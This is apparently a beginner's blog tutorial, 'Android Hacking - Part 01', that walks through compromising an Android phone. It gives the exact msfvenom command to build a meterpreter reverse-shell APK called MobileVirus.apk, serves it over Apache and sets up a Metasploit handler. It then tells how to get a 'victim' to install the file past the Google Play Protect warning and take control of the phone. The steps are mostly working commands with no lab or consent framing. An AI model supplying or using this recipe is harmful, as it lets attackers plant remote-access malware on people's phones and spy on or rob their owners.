Android Hacking - Part 01

I am writing my first article on Android Hacking in this article we are going to exploit android mobile with simple msfvenom payload.

Here we go....

Step 01

In first step we have to find out what is our IP address (IPv4), in Kali Linux terminal i type command "ifconfig wlan0" to find-out current IP address of my attacker machine (Kali Linux).

If you are using Kali Linux in VMware or VirtualBox then your interface will be "eth0" so you can find your IP address with "ifconfig eth0".

Step 02

In 2nd step we need to create android payload with msfvenom

Command: sudo msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.13 lport=42474 -o MobileVirus.apk

Need to Know:

• sudo: is for root privileges
• msfvenom: itself tool for creating payloads
• -p: payload options
• Payload: android/meterpreter/reverse_tcp
• lhost: local IP address of your attacker machine (Kali Linux)
• lhost: using local port where connection reverse to your IP address you can use any random port like (4444, 42474)
• -o : is for output name of your application in my case (MobileVirus.apk)

Step 03

Transfer payload (MobileVirus.apk) file to your apache2 folder & then start your apache2 server

Command: sudo cp MobileVirus.apk /var/www/html

Command: sudo service apache2 start (Start Apache2 Server)

Need to Know

• sudo: is for root privileges
• cp: copy command in linux
• /var/www/html/: root folder apache2 server

Step 04

I am going to launch metasploit-framework to create handler

Command: sudo msfconsole (console of Metasploit-Frmaework)

Setting Handler

1. use multi/handler
2. set payload android/meterpreter/reverse_tcp
3. set lhost 192.168.1.13
4. set lport 42474

Step 05

Installing payload into victim mobile

Type IP address of attacker machine (Kali Linux) into victim mobile

Download the application (MobileVirus.apk)

After download you can install application (MobileVirus.apk)

Google Play Protect Warning: you can click on install anyway to proceed with installation.

Note: i will write on article on "How to Bypass Google Play Protect" later in this series.

When application (MobileVirus.apk) installed click on open

We Got Android

When application is opened we get back reverse connection

Type the command: "sysinfo" to check your victim mobile information.

Note: if you find any mistake or error in typing please inform me, you can also ask question.

---------------------------------------END----------------------------------------